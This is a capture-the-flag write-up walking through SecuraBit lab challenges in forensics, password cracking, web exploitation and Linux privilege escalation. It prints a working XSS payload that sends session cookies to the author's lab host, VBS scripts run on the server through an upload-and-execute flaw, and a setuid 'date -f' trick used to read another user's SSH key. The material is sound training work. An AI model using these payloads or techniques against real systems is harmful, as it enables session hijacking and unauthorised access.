Gh0st Labs - challenge write ups
- 1.1 Sniff the Minion
- 1.2 Listy McGee
- 1.3 The Foremost Crazy Cat Lady
- 1.4 Carve Out Some Time
- 1.5 You Poke Me I Poke You
- 1.6 Process of Elimination
- 2.1 These Hashes Crack Me Up
- 2.2 XSSed
- 2.3 All the Secrets
- 3.1 Darth eVader
- 3.2 Disgruntled for Cash
- 3.3 Lazy Linux Admin
- 3.4 Padding Oracle
- Conclusion
After noticing a CTF by SecuraBit being mentioned on Twitter some time ago, I decided to give it a go. Here are my findings for the challenges, kindly hosted by SecuraBit.
You can find the Wiki for this CTF here.
1.1 Sniff the Minion
In this challenge, we are provided with a file called 'sniffMinion.pyc' - Python byte code. We're going to need to decompile this to get our flag.
After cloning down a copy of uncompyle2 from https://github.com/wibiti/uncompyle2.git, we install it by running 'python setup.py install'.
Now, let's decompile our byte code. The following command will attempt to interpret the Python byte code, and output an approximate source copy.
uncompyle2 sniffMinion.pyc > sniffMinion.py
Looking at the source code, we can see the script will attempt to login to an FTP server provided in the command line arguments, and download a file (minion-plan.txt).
The FTP connection doesn't appear to specify a username or password. Checking the 'ftplib' documentation at https://docs.python.org/2/library/ftplib.html states that the default login used is u:anonymous p:anonymous@.
Let's login to the IP mentioned in the challenges description (10.1.17.12). After a quick ls, we can see two files. minion-plan.txt and key.txt. minion-plan.txt doesn't contain anything of interest, but key.txt contains our flag.
1.2 Listy McGee
We're given a URL in this challenge, with the hint of 'domo arigato mr robot'. Upon visiting the URL, we're greeted with a message stating 'Nothing to see here'. Based on the hint, I decided to check the robots.txt file (often good for finding lists of sensitive files / directories).
The robots.txt file contains a disallow entry for the directory '/listy_mcgee'. Let's see what we can find if we browse to that directory.
Directory listing is enabled, and there's a single file named key.txt. This file contains our flag.
1.3 The Foremost Crazy Cat Lady
So, we've been given a JPG file to perform some forensics on. My first thought was to check the EXIF data using the 'exiftool' program. Unfortunately, this turned up nothing of interest.
My next port of call is is the 'foremost' program. This will analyse a file and extract any files found within, based upon file headers. After running 'foremost forensicsT1C1.jpg', we CD to the output directory. This image contains more images..
After looking through the images, we find one image of a naughty dog - how did that get in amongst the cats! The dog also has a gift for you..the key. Note, that's not a V in the key, it's two slashes.
1.4 Carve Out Some Time
Time for some more forensics. In this case, we've been given a '.img' file - usually this indicates a disk image. After running the command 'file forensicsT1C2.img', we see that it's apparently a raw dump of a disk, containing a FAT partition. Let's use our old friend 'foremost' to extract what we can.
Moving into the output directory, we note more images of cats. Also, we can see an EXE has been extracted.
Now, disassembly is not a strong point of mine, so let's keep it simple. I run the 'strings' command on the EXE, to extract any human readable information that might be of help, grepping with the keyword 'key'. Our key is output as one of the strings found.
1.5 You Poke Me I Poke You
I'm sure in this challenge we must send some packets to port 7777 on either TCP or UDP - my guess would be UDP as it's stateless, however no matter what I try I get no response on any ports correlating with the outgoing data. Must try harder.
So the issue I was experiencing appears to of been related to the fact I am working from a VM. As soon as I connected to the VPN on my host I could see TCP request and response when I tried to connect to port 7777 on the IP 10.1.17.13.
Now, while we could connect, we weren't getting any traffic back. So, as the hint says the 'minions' listen on 7777, but respond on 2222, let's start up ncat listening on port 2222.
ncat --listen 10.1.17.101 2222
Now if we connect to port 7777 on 10.1.17.13 (I just browsed to it in Chrome, but you can use wget, curl, ncat, whatever), we'll get a connect back on port 2222. The 'minion' sends back our key to us via the connect back to port 2222.
1.6 Process of Elimination
Apparently a forgetful admin has cooked their own methods for remembering passwords - oh dear. Apparently, they've also set up an SNMP server - let's see what we can discover.
We'll use a metasploit module called 'auxiliary/scanner/snmp/snmp_enum' to extract publicly available information from the SNMP server. Apparently public access is enabled, so let's see what information we can gather. I set the THREADS option to '10', and the RHOSTS option to '10.1.17.13', and waited.
We're presented with a great deal of information regarding the host, including a python process which has a Username and a Password in the arguments. I guessed that this was the administrators account information, so what would an administrator usually authenticate against? Let's try SSH.
Boom - the 'jorge' user has SSH access on 10.1.17.13, and guess what - they have a filed named 'key.txt' in their home directory. This file contains our flag.
2.1 These Hashes Crack Me Up
We've been provided with a 'shadow' file, that is, the file on Linux that contains hashed passwords. We've also been provided with the rules against which passwords are generated. These rules are simple, so let's generate a word list with a bit of Python.
import itertools
for perm in itertools.permutations(["p","a","s","s","w","o","r","d"],7):
for i in range(0,1):
print "%d%s"%(i,"".join(perm))
After outputting all possible passwords to a text file, let's fire up good old John the Ripper, with our word list and shadow file.
john --wordlist=shadow.list shadow
Eventually, the cracked passwords will be output. When we submit these four passwords in turn to the key retrieval service (ncat to the service, and output one key per line) we'll be given our four keys, which we'll use to solve the challenge. It took about 10-15 minutes on a 32 core AWS instance - I didn't have my GPU rig turned on at the time, and didn't mind paying for an hour on one of these beasts.
2.2 XSSed
We're not given much information here, but thankfully the name of the challenge is enough. We've got to trigger an XSS on the target site. What's fun is that the XSS will actually be triggered when we submit it in the first URL, as if a user had visited the site.
Essentially, we want to get hold of the PHPSESSID cookie via XSS, while using a minimal number of special characters. In cases like this, I often turn to the Eval(String.fromCharCode()) trick. The fromCharCode function takes in a list of INTs, which are then decoded, and subsequently executed as JS. This means we can get around escaping of quotes quite easily.
After outputting an IMG tag with an invalid URL, I set the onerror event to fire my XSS payload. This payload appends a second IMG tag to the document, which pointed to nginx running on my machine, with the value of 'document.cookie' appended on to the end. The un-encoded payload reads as follows.
document.write('<img src="http://10.1.17.101/'+document.cookie+'">')
The full value of the name field on the second URL in the challenge description resulting as follows.
<img src=x onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,46,49,55,46,49,48,49,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,39,34,62,39,41))>
Let's put this URL into the input box of the first page, and hit submit. In my nginx logs, I saw the PHPSESSID come through. Not only that, but an additional cookie named 'username', with the value of admin. Let's hijack their session, and see what we can find.
Once we've set our cookies on the first URL and refresh the page, we are provided with the key for this challenge.
2.3 All the Secrets
Here we're given a wordlist and another file, which based upon the file name I deduced to be a TrueCrypt image.
We can brute-force the pass-phrase using the word-list we were provided with the command below. Once we've mounted the image, we should be able to find an RTF file containing some nasty secrets, and a reference to the EXE we previously extracted back in an earlier challenge.
truecrack -t secrets_.tc -w wordlist.txt
I've not managed to get much further on this one yet. I have a feeling it requires some reverse engineering of the EXE to unlock another (encrypted) output, but that's just a guess..
3.1 Darth eVader
So, apparently anything we upload to the URL provided will be executed. Let's test that assertion.
First of all, I check to see the platform the server is running on by inspecting the response headers of the web server - looks like it's Windows.
Turning on WireShark, and submitting the following script, we can see ICMP packets come through. Great - our batch script executed!
ping 10.1.17.101 # change to the IP of your VPN connection
Now, we should be able to execute a command using a VBS script, as below.
Set oS = CreateObject("Shell.Application")
oS.ShellExecute "cmd.exe", "/c dir > myfile.txt"
This results in the directory listing being output to the file 'myfile.txt' in the web root. Great - what next? My next step was to get a list of files on the machine, and then searched for the keyword 'key'.
The following VBS script got me my file list.
Set oS = CreateObject("Shell.Application")
oS.ShellExecute "cmd.exe", "/c dir /s c:\ > myfile.txt"
After finding the path to the key.txt file, I simply performed the 'type' command (ok, I could of just copied it instead..) to output it to a file on the web root, for retrieval.
Set oS = CreateObject("Shell.Application")
oS.ShellExecute "cmd.exe", "/c type c:\Users\apache\Desktop\key.txt > myfile.txt"
3.2 Disgruntled for Cash
We've been given a pcap file to analyze. Within this file we can find a large number of HTTP requests, including uploads of two RAR files, and one TXT file named 'youllneverguess.txt'.
I'm guessing this TXT file contains a key of some sort (or password for the two RAR files?), but so far I've not managed to get any further than this.
3.3 Lazy Linux Admin
So, here we've been provided with a username and password for SFTP access. As we all should know, where there's SFTP, there's more often than not SSH.
We SSH in to the target machine, and start snooping about. Based upon the hints, I knew it had to be a file permissions issue. After checking the crontabs, I saw a script that ran daily. I could of used this to elevate to root on the box due to it being world writeable, but apparently this was not the intended solution, so I kept on trying.
Looking for files with the setuid bit set, I found a number of executables, most of which legit. You can find these files with the following command. The setuid bit can be very dangerous, as files with this bit set will execute as the owning user.
find / -perm -4000 -exec ls -ldb {} \;2>/dev/null
One that looked a bit out of place was /bin/date. Why would this file ever need to be executed as root? Checking the man for date, I found a command line option that might be of use - the -f option. I'm guessing this takes in a path to a file, whose contents is parsed as a date. Let's see what happens if we point it to a file that is NOT in date format, such as our .bash_history (the hints mention the history - I'm sure we can find something useful in one of the users bash history files).
In the initial .bash_history file for the 'sftp' user, only one line is present - 'exit'. Running the following command results in an invalid date error being output, along with the contents of the file. Awesome.
date -f ~/.bash_history
So, as the sftp user doesn't have anything interesting in the .bash_history file, let's check the other users. First of all, root. Their bash history was empty.
After doing an 'ls' of the '/home' directory, we see another user called 'sysop'. Let's check out their history. Inspecting their history showed that they have recently SSH'd to the IP of 10.1.17.15 as root, with a key in their home directory. Let's get the contents of that key with the same method above, and then SSH in to the same server, with the same key and user.
The MOTD for the user we connected as contains our flag for this challenge.
3.4 Padding Oracle
Now, this one I'm sure must have something to do with the long available padding attacks available out there (padbuster in Kali). While I managed to make a little progress, I was not able to get any further with this challenge.
Conclusion
I had a great time with these challenges - especially the 'Lazy Linux Admin' challenge. The variety of skills I got to practice, and improve upon was pretty wide, and the challenges scaled in difficulty quite nicely. Thanks again to SecuraBit, and in particular to psychs, for the encouragement.